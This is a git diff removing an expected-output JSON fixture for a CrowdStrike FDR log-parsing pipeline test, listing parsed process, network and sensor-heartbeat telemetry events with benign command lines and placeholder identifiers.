diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json
deleted file mode 100644
index fd96fb6dc9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json
+++ /dev/null
@@ -1,12580 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2021-07-07T17:05:21.162Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ContextTimeStamp": "2021-07-07T17:05:21.137Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "RGID": "501",
-                "RUID": "501",
-                "SVGID": "20",
-                "SVUID": "501",
-                "SessionProcessId": "363970027584976556",
-                "SourceProcessId": "362225661973273550",
-                "SourceThreadId": "0",
-                "SyntheticPR2Flags": "8",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8dd4-061759968cdf",
-                "name": "SyntheticProcessRollup2MacV3"
-            },
-            "device": {
-                "id": "ffffffffa63e404bba4bff7465ab3afb"
-            },
-            "event": {
-                "action": "SyntheticProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:21.162Z",
-                "id": "ffffffff-1111-11eb-8dd4-061759968cdf|ffffffffa63e404bba4bff7465ab3afb|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"ParentProcessId\":\"362225661973273550\",\"SourceProcessId\":\"362225661973273550\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"363970027584976556\",\"SyntheticPR2Flags\":\"8\",\"event_platform\":\"Mac\",\"SVUID\":\"501\",\"id\":\"ffffffff-1111-11eb-8dd4-061759968cdf\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521162\",\"ProcessGroupId\":\"363970027584976556\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"9505\",\"ContextTimeStamp\":\"1625677521.137\",\"GID\":\"20\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"20\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"501\",\"CommandLine\":\"/bin/sh -s unix:cmd\",\"TargetProcessId\":\"363970027584976556\",\"ImageFileName\":\"/bin/sh\",\"RGID\":\"501\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"SyntheticProcessRollup2MacV3\",\"RUID\":\"501\",\"aid\":\"ffffffffa63e404bba4bff7465ab3afb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffa63e404bba4bff7465ab3afb",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "SyntheticProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffa63e404bba4bff7465ab3afb",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "args": [
-                    "/bin/sh",
-                    "-s",
-                    "unix:cmd"
-                ],
-                "args_count": 3,
-                "command_line": "/bin/sh -s unix:cmd",
-                "entity_id": "363970027584976556",
-                "executable": "/bin/sh",
-                "name": "sh",
-                "parent": {
-                    "entity_id": "362225661973273550"
-                },
-                "pgid": 363970027584976556,
-                "pid": 9505,
-                "real_user": {
-                    "id": "501"
-                }
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "501"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "501"
-                    }
-                },
-                "group": {
-                    "id": "20"
-                },
-                "id": "501"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:24.102Z",
-            "crowdstrike": {
-                "AsepWrittenCount": 0,
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365053603452626914",
-                "ContextTimeStamp": "2021-07-07T17:05:23.068Z",
-                "DirectoryCreatedCount": 0,
-                "DnsRequestCount": 0,
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ExecutableDeletedCount": 0,
-                "FileDeletedCount": 0,
-                "NetworkBindCount": 0,
-                "NetworkCapableAsepWriteCount": 0,
-                "NetworkCloseCount": 0,
-                "NetworkConnectCount": 0,
-                "NetworkListenCount": 0,
-                "NetworkRecvAcceptCount": 0,
-                "NewExecutableWrittenCount": 0,
-                "SuspectStackCount": 0,
-                "SuspiciousDnsRequestCount": 0,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b",
-                "name": "EndOfProcessMacV15"
-            },
-            "device": {
-                "id": "ffffffff3c0846978560dbc0048d6555"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:24.102Z",
-                "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b|ffffffff3c0846978560dbc0048d6555|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"FileDeletedCount\":\"0\",\"DirectoryCreatedCount\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"event_platform\":\"Mac\",\"NetworkBindCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"id\":\"ffffffff-1111-11eb-9d75-02bcf3ade03b\",\"NewExecutableWrittenCount\":\"0\",\"NetworkCloseCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"SuspectStackCount\":\"0\",\"timestamp\":\"1625677524102\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"33454\",\"ContextTimeStamp\":\"1625677523.068\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053603452626914\",\"AsepWrittenCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"NetworkCapableAsepWriteCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"TargetProcessId\":\"365053603452626914\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"name\":\"EndOfProcessMacV15\",\"aid\":\"ffffffff3c0846978560dbc0048d6555\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffff3c0846978560dbc0048d6555",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff3c0846978560dbc0048d6555",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365053603452626914",
-                "pid": 33454,
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:48.615Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "365042236081053654",
-                "ContextTimeStamp": "2021-07-07T17:04:48.594Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1",
-                "name": "RawBindIP6MacV10"
-            },
-            "destination": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "port": 546
-            },
-            "device": {
-                "id": "ffffffffc59c473aa7fcbbe7438082cb"
-            },
-            "event": {
-                "action": "RawBindIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:48.615Z",
-                "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1|ffffffffc59c473aa7fcbbe7438082cb|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1625677488.594\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"365042236081053654\",\"RemotePort\":\"546\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"547\",\"Entitlements\":\"15\",\"name\":\"RawBindIP6MacV10\",\"id\":\"ffffffff-1111-11eb-ad8d-064c77be2fd1\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffc59c473aa7fcbbe7438082cb\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677488615\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffffc59c473aa7fcbbe7438082cb",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "RawBindIP6",
-            "network": {
-                "community_id": "1:ZmJm1KFUrdmL4/rYSRwMQ18GXnk=",
-                "direction": "unknown",
-                "iana_number": "17",
-                "transport": "udp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffc59c473aa7fcbbe7438082cb",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365042236081053654"
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "port": 547
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:04.527Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "ProcessCount": 4,
-                "SHA256HashData": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018",
-                "Timeout": 600,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-822b-06081a3f0f45",
-                "name": "ProcessRollup2StatsMacV1"
-            },
-            "device": {
-                "id": "ffffffff59fe460783ea45d59e417d6f"
-            },
-            "event": {
-                "action": "ProcessRollup2Stats",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:04.527Z",
-                "id": "ffffffff-1111-11eb-822b-06081a3f0f45|ffffffff59fe460783ea45d59e417d6f|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"1620585913\",\"Timeout\":\"600\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018\",\"ProcessCount\":\"4\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"502\",\"event_platform\":\"Mac\",\"CommandLine\":\"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\\n        feature_name: FEATURE_NAME,\\n        variants: [FEATURE_VARIANT],\\n      )\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsMacV1\",\"id\":\"ffffffff-1111-11eb-822b-06081a3f0f45\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff59fe460783ea45d59e417d6f\",\"timestamp\":\"1625677504527\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff59fe460783ea45d59e417d6f",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ProcessRollup2Stats",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff59fe460783ea45d59e417d6f",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "args": [
-                    "ruby",
-                    "--disable-gems",
-                    "sorbet/feature_dependency_plugin.rb",
-                    "--class",
-                    "EmergingAlbertsonsPickupBannerDiscount",
-                    "--method",
-                    "feature_dependency",
-                    "--source",
-                    "feature_dependency",
-                    "Domain::FeatureDependencies::RouletteUserFeature.new(\n",
-                    "feature_name:",
-                    "FEATURE_NAME,\n",
-                    "variants:",
-                    "[FEATURE_VARIANT],\n",
-                    ")"
-                ],
-                "args_count": 15,
-                "command_line": "ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )",
-                "hash": {
-                    "sha256": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018"
-                }
-            },
-            "related": {
-                "hash": [
-                    "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018",
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "502"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "502"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:14.783Z",
-            "crowdstrike": {
-                "ConfigIDBase": "65994753",
-                "ConfigIDBuild": "13701",
-                "ConfigIDPlatform": "4",
-                "ConfigStateHash": "3090255842",
-                "ConfigurationVersion": "10",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "NetworkContainmentState": "0",
-                "ProvisionState": "1",
-                "SensorStateBitMap": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-97c6-02fd02aca859",
-                "name": "SensorHeartbeatMacV4"
-            },
-            "device": {
-                "id": "ffffffffe1ad47b6b5b44ae9151a6cf3"
-            },
-            "event": {
-                "action": "SensorHeartbeat",
-                "category": [
-                    "package"
-                ],
-                "created": "2021-07-07T17:05:14.783Z",
-                "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffffe1ad47b6b5b44ae9151a6cf3|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"3090255842\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"SensorHeartbeatMacV4\",\"ConfigIDPlatform\":\"4\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"ConfigIDBuild\":\"13701\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffe1ad47b6b5b44ae9151a6cf3\",\"ProvisionState\":\"1\",\"timestamp\":\"1625677514783\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffffe1ad47b6b5b44ae9151a6cf3",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "SensorHeartbeat",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffe1ad47b6b5b44ae9151a6cf3",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:02.500Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "MD5HashData": "88922d50263b059696c2af5a99906562",
-                "MachOSubType": "1",
-                "RGID": "0",
-                "RUID": "0",
-                "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
-                "SVGID": "0",
-                "SVUID": "0",
-                "SessionProcessId": "362213307092004097",
-                "SourceProcessId": "362213307092004097",
-                "SourceThreadId": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb",
-                "name": "ProcessRollup2MacV5"
-            },
-            "device": {
-                "id": "ffffffff8be84591864008eb2e484920"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:02.500Z",
-                "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb|ffffffff8be84591864008eb2e484920|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"MachOSubType\":\"1\",\"ParentProcessId\":\"362213307092004097\",\"SourceProcessId\":\"362213307092004097\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"362213307092004097\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Mac\",\"ProcessEndTime\":\"\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"launchd\",\"id\":\"ffffffff-1111-11eb-a9ce-02e9216bdbcb\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677502500\",\"ProcessGroupId\":\"362213307092004097\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"56254\",\"GID\":\"0\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000\",\"TargetProcessId\":\"363276350115996101\",\"ImageFileName\":\"/usr/libexec/xpcproxy\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2MacV5\",\"RUID\":\"0\",\"ProcessStartTime\":\"1625677502.233\",\"aid\":\"ffffffff8be84591864008eb2e484920\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff8be84591864008eb2e484920",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff8be84591864008eb2e484920",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "args": [
-                    "xpcproxy",
-                    "com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000"
-                ],
-                "args_count": 2,
-                "command_line": "xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000",
-                "entity_id": "363276350115996101",
-                "executable": "/usr/libexec/xpcproxy",
-                "hash": {
-                    "md5": "88922d50263b059696c2af5a99906562",
-                    "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6"
-                },
-                "name": "xpcproxy",
-                "parent": {
-                    "entity_id": "362213307092004097",
-                    "name": "launchd"
-                },
-                "pgid": 362213307092004097,
-                "pid": 56254,
-                "real_user": {
-                    "id": "0"
-                },
-                "start": "2021-07-07T17:05:02.233Z"
-            },
-            "related": {
-                "hash": [
-                    "88922d50263b059696c2af5a99906562",
-                    "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:05.511Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1701000200",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "17307488247882",
-                "ContextTimeStamp": "2021-07-07T17:05:04.982Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "0.0.0.0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5",
-                "name": "NetworkReceiveAcceptIP4LinV5"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 39920
-            },
-            "device": {
-                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b"
-            },
-            "event": {
-                "action": "NetworkReceiveAcceptIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:05.511Z",
-                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1625677504.982\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307488247882\",\"RemotePort\":\"53\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"39920\",\"Entitlements\":\"15\",\"name\":\"NetworkReceiveAcceptIP4LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1625677505511\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "allowed",
-                    "access",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "NetworkReceiveAcceptIP4",
-            "network": {
-                "community_id": "1:urvmigA14TUbvxTimPg744QEiSA=",
-                "direction": "inbound",
-                "iana_number": "17",
-                "transport": "udp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "entity_id": "17307488247882"
-            },
-            "related": {
-                "hash": [
-                    "1701000200"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 53
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:22.009Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "362579458925546303",
-                "ContextTimeStamp": "2021-07-07T17:05:21.866Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d",
-                "name": "RawBindIP4MacV10"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffff01fc49949cf06bf0bce3c010"
-            },
-            "event": {
-                "action": "RawBindIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:22.009Z",
-                "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d|ffffffff01fc49949cf06bf0bce3c010|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1625677521.866\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"362579458925546303\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"53\",\"Entitlements\":\"15\",\"name\":\"RawBindIP4MacV10\",\"id\":\"ffffffff-1111-11eb-81d4-0282ad9ac82d\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01fc49949cf06bf0bce3c010\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677522009\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff01fc49949cf06bf0bce3c010",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "RawBindIP4",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "17",
-                "transport": "udp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff01fc49949cf06bf0bce3c010",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "362579458925546303"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 53
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:24.048Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ConnectionFlags": "0",
